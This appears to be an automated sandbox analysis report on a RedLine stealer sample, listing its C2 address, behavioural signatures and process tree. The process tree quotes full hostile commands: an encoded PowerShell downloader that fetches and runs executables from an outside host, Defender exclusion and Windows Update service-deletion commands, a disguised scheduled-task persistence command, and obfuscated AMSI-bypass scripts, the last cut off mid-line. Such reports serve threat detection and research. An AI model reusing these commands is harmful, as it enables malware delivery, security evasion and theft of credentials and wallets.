Analysis

  • max time kernel
    43s
  • max time network
    92s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/01/2023, 12:42

General

  • Target
    3b6724f0782fb7defaad3f17b96a80cae307d230.exe
  • Size 361KB
  • Sample230127-pxdnjsbh8z
  • SHA256 47db42f2fea21e2ed1d3957a40e3c3617083483d27c2ec540492a1d6623884f5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • 1

C2
  • 107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Stops running service(s) 3 TTPs
  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:584
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{f8052c8d-6d54-4647-845d-92fc1d804a3b}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1972
    • C:\Windows\Explorer.EXE
      C:\Windows\Explorer.EXE
      1⤵
        PID:2576
        • C:\Users\Admin\AppData\Local\Temp\3b6724f0782fb7defaad3f17b96a80cae307d230.exe
          "C:\Users\Admin\AppData\Local\Temp\3b6724f0782fb7defaad3f17b96a80cae307d230.exe"
          2⤵
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4716
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
            3⤵
              PID:2944
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3552
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
                4⤵
                • Blocklisted process makes network request
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1860
                • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                  "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
                  5⤵
                  • Executes dropped EXE
                  PID:3656
                • C:\Users\Admin\AppData\Local\Temp\new2.exe
                  "C:\Users\Admin\AppData\Local\Temp\new2.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:1560
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                    6⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3324
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 1560 -s 304
                    6⤵
                    • Program crash
                    PID:2004
                • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                  "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4440
                • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                  "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                  5⤵
                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                  • Drops file in Drivers directory
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Drops file in Program Files directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:4524
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4716 -s 136
              3⤵
              • Program crash
              PID:5096
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3028
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4324
            • C:\Windows\System32\sc.exe
              sc stop UsoSvc
              3⤵
              • Launches sc.exe
              PID:2208
            • C:\Windows\System32\sc.exe
              sc stop WaaSMedicSvc
              3⤵
              • Launches sc.exe
              PID:1644
            • C:\Windows\System32\sc.exe
              sc stop wuauserv
              3⤵
              • Launches sc.exe
              PID:2808
            • C:\Windows\System32\sc.exe
              sc stop bits
              3⤵
              • Launches sc.exe
              PID:2020
            • C:\Windows\System32\sc.exe
              sc stop dosvc
              3⤵
              • Launches sc.exe
              PID:4744
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
              3⤵
                PID:1544
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                3⤵
                  PID:4848
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                  3⤵
                  • Modifies security service
                  PID:4988
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                  3⤵
                    PID:4120
                  • C:\Windows\System32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                    3⤵
                      PID:676
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5000
                  • C:\Windows\System32\dialer.exe
                    C:\Windows\System32\dialer.exe
                    2⤵
                      PID:528
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4716 -ip 4716
                    1⤵
                      PID:2228
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 1560 -ip 1560
                      1⤵
                        PID:204
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:unuoVQncjDdR{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$AQzXSgqpROVjxK,[Parameter(Position=1)][Type]$EHeEQzqzwX)$jppITUpFPef=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+'f'+'l'+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+'dD'+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+'dul'+'e'+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+'la'+[Char](115)+''+[Char](115)+','+[Char](80)+'u'+[Char](98)+''+'l'+'ic'+','+'S'+[Char](101)+''+[Char](97)+'l'+'e'+''+'d'+''+','+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+'s'+''+','+''+[Char](65)+'u'+[Char](116)+''+'o'+'C'+[Char](108)+''+[Char](97)+''+'s'+'s',[MulticastDelegate]);$jppITUpFPef.DefineConstructor('R'+[Char](84)+'S'+'p'+'e'+'c'+'i'+[Char](97)+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+',H'+'i'+'d'+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+'P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$AQzXSgqpROVjxK).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+'t'+'i'+'m'+'e'+[Char](44)+''+[Char](77)+'an'+[Char](97)+''+[Char](103)+'e'+'d'+'');$jppITUpFPef.DefineMethod(''+'I'+''+'n'+''+'v'+'o'+'k'+''+[Char](101)+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+','+''+[Char](72)+''+[Char](105)+'d'+'e'+''+'B'+''+[Char](121)+'Si'+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+'S'+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$EHeEQzqzwX,$AQzXSgqpROVjxK).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+'ged');Write-Output $jppITUpFPef.CreateType();}$WPtpmiGlbVXOI=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+'e'+'m'+'.d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+'o'+[Char](115)+'o'+'f'+''+[Char](116)+'.'+'W'+'in3'+[Char](50)+''+[Char](46)+''+'U'+''+[Char](110)+'sa'+'f'+'eWP'+[Char](116)+''+'p'+''+[Char](109)+'i'+'G'+''+'l'+''+[Char](98)+''+[Char](86)+''+[Char](88)+''+'O'+''+[Char](73)+'');$xzJgLtBxGAolKC=$WPtpmiGlbVXOI.GetMethod('x'+[Char](122)+''+'J'+''+[Char](103)+''+[Char](76)+'tB'+[Char](120)+''+[Char](71)+''+[Char](65)+''+[Char](111)+'l'+'K'+'C',[Reflection.BindingFlags]''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+'t'+[Char](97)+'t'+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$bCZAhlKkPaVozNSUCnK=unuoVQncjDdR @([String])([IntPtr]);$ZKGCwTadAltOgXQWHBCFzy=unuoVQncjDdR @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$UtCqIWgnDLT=$WPtpmiGlbVXOI.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'M'+[Char](111)+''+'d'+'u'+[Char](108)+''+[Char](101)+''+'H'+'an'+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+'n'+''+[Char](101)+'l'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$JtbtjRtJOLfRHU=$xzJgLtBxGAolKC.Invoke($Null,@([Object]$UtCqIWgnDLT,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+'r'+''+[Char](121)+''+[Char](65)+'')));$enmfEtnhakpTBnUFs=$xzJgLtBxGAolKC.Invoke($Null,@([Object]$UtCqIWgnDLT,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+'u'+''+[Char](97)+''+[Char](108)+''+'P'+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+''+'c'+'t')));$AoGLeYl=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JtbtjRtJOLfRHU,$bCZAhlKkPaVozNSUCnK).Invoke(''+'a'+''+'m'+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$dDvVIZNTNDwzpbKZZ=$xzJgLtBxGAolKC.Invoke($Null,@([Object]$AoGLeYl,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+''+'S'+''+[Char](99)+''+[Char](97)+'nB'+[Char](117)+''+'f'+''+[Char](102)+''+'e'+'r')));$JxMvCIGLqu=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($enmfEtnhakpTBnUFs,$ZKGCwTadAltOgXQWHBCFzy).Invoke($dDvVIZNTNDwzpbKZZ,[uint32]8,4,[ref]$JxMvCIGLqu);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$dDvVIZNTNDwzpbKZZ,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($enmfEtnhakpTBnUFs,$ZKGCwTadAltOgXQWHBCFzy).Invoke($dDvVIZNTNDwzpbKZZ,[uint32]8,0x20,[ref]$JxMvCIGLqu);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+'T'+'W'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'l'+[Char](101)+''+'r'+'sta'+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
                        1⤵
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        PID:204
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:vIfBTIiemFxV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$sjRwOSZIvhdKft,[Parameter(Position=1)][Type]$eLaveoIUBS)$PhpaEggcgmm=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'ef'+'l'+''+'e'+''+[Char](99)+''+[Char](116)+''+'e'+'dD'+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'Me'+[Char](109)+''+'o'+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+'yp'+'e'+'',''+'C'+'l'+[Char](97)+''+[Char](115)+''+'s'+',P'+[Char](117)+''+'b'+''+'l'+''+'i'+'c'+[Char](44)+'S'+[Char](101)+''+'a'+''+'l'+'e'+'d'+','+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+'o'+'C'+[Char](108)+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$PhpaEggcgmm.DefineConstructor(''+[Char](82)+''+'T'+'S'+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+'N'+'a'+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+'e'+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$sjRwOSZIvhdKft).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$PhpaEggcgmm.DefineMethod(''+'I'+''+[Char](110)+'vo'+'k'+''+[Char](101)+'','Pu'+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g,Ne'+[Char](119)+''+[Char](83)+''+'l'+'o'+'t'+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$eLaveoIUBS,$sjRwOSZIvhdKft).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+[Char](44)+'Ma'+[Char](110)+'ag'+[Char](101)+'d');Write-Output $PhpaEggcgmm.CreateType();}$lYVRISTRpiuoo=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+'t'+[Char](101)+'m'+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+'r'+[Char](111)+'s'+'o'+'f'+[Char](116)+'.'+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+'2'+'.U'+[Char](110)+''+[Char](115)+'afe'+[Char](108)+'Y'+'V'+''+'R'+''+[Char](73)+'S'+[Char](84)+''+'R'+'p'+[Char](105)+''+[Char](117)+''+[Char](111)+'o');$nQNrdWDxoQJWJH=$lYVRISTRpiuoo.GetMethod(''+'n'+''+[Char](81)+''+'N'+''+[Char](114)+'d'+[Char](87)+''+[Char](68)+''+[Char](120)+''+[Char](111)+'Q'+[Char](74)+''+[Char](87)+''+'J'+''+'H'+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+'t'+'a'+'t'+''+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VswdlxckJrjYLjTxNmI=vIfBTIiemFxV @([String])([IntPtr]);$KgLsxgDDsuJoHRMKYLxota=vIfBTIiemFxV @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$lDeYGOATUfi=$lYVRISTRpiuoo.GetMethod('Ge'+[Char](116)+''+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+'l'+'e'+[Char](72)+''+[Char](97)+''+'n'+''+'d'+'le').Invoke($Null,@([Object]('k'+[Char](101)+'rn'+[Char](101)+'l'+[Char](51)+''+'2'+'.'+[Char](100)+''+[Char](108)+'l')));$GRHRxeLthUhlTX=$nQNrdWDxoQJWJH.Invoke($Null,@([Object]$lDeYGOATUfi,[Object](''+'L'+''+[Char](111)+''+'a'+''+[Char](100)+''+'L'+'i'+[Char](98)+''+[Char](114)+'a'+'r'+''+[Char](121)+''+[Char](65)+'')));$kntPrHKavdvAkhkjJ=$nQNrdWDxoQJWJH.Invoke($Null,@([Object]$lDeYGOATUfi,[Object](''+[Char](86)+''+[Char](105)+''+'r'+'tu'+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$RXfyukU=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GRHRxeLthUhlTX,$VswdlxckJrjYLjTxNmI).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i'+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$ZmsURswQwHjpuPvvM=$nQNrdWDxoQJWJH.Invoke($Null,@([Object]$RXfyukU,[Object](''+'A'+'m'+[Char](115)+'i'+'S'+''+[Char](99)+''+'a'+''+[Char](110)+'B'+'u'+''+[Char](102)+'fe'+'r'+'')));$Nykppgqboc=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kntPrHKavdvAkhkjJ,$KgLsxgDDsuJoHRMKYLxota).Invoke($ZmsURswQwHjpuPvvM,[uint32]8,4,[ref]$Nykppgqboc);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ZmsURswQwHjpuPvvM,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kntPrHKavdvAkhkjJ,$KgLsxgDDsuJoHRMKYLxota).Invoke($ZmsURswQwHjpuPvvM,[uint32]8,0x20,[ref]$Nykppgqboc);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+'TW'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+'ia'+[Char](10